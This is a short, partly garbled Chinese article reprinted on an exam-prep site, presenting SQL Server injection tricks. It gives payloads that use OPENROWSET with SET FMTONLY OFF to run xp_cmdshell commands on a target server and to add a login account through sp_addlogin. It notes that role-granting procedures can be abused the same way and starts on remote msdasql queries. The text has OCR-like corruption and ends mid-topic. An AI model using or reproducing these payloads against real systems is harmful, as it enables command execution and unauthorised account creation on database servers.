注意那些容易被忽略的SQL注入技巧 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/257/2021_2022__E6_B3_A8_E6_84_8F_E9_82_A3_E4_c67_257048.htm 面我要谈到一些Sqlserver新的Bug，虽然本人经过长时间的努力，当然也有点幸运的成分在内，才得以发现，不敢一个人独享，拿出来请大家鉴别。 1．关于Openrowset和Opendatasource 可能这个技巧早有人已经会了，就是利用openrowset发送本地命令。通常我们的用法是（包括MSDN的列子）如下： 0select * from openrowset(sqloledb,myserver.sa.,0select * from table) 可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在0select后面，也就是说需要返回一个recordset 。 那么我们能不能利用它调用XP_cmdshell呢？答案是肯定的！ 0select * from openrowset(sqloledb,server.sa.,set fmtonly off exec master.dbo.XP_cmdshel l dir c:\) 必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置，这样XP_cmdshell返回的output集合就会提交给前面的0select显示，如果采用默认设置，会返回空集合导致0select出错，命令也就无法执行了。 那么如果我们要调用sp_addlogin呢，他不会像XP_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作： 0select * from openrowset(sqloledb,server.sa.,0select OK! exec master.dbo.sp_addlogin Hectic) 这样，命令至少会返回0select OK!的集合，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也就是说，我们利用0select OK!的返回集合欺骗了本地的0select请求，是命令能够正常执行，通

理sp_addsrvrolemember和opendatasource也可以如此操作！至于这个方法真正的用处，大家慢慢想吧。 2. 关于Msdasql两次请求的问题 不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下： 0select * from openrowset(msdasql,driver={sql server}.server=server.address=server,1433.uid=sa.pwd=.database=master.network=dbmssocn,s elect * from table1 0select * from table2)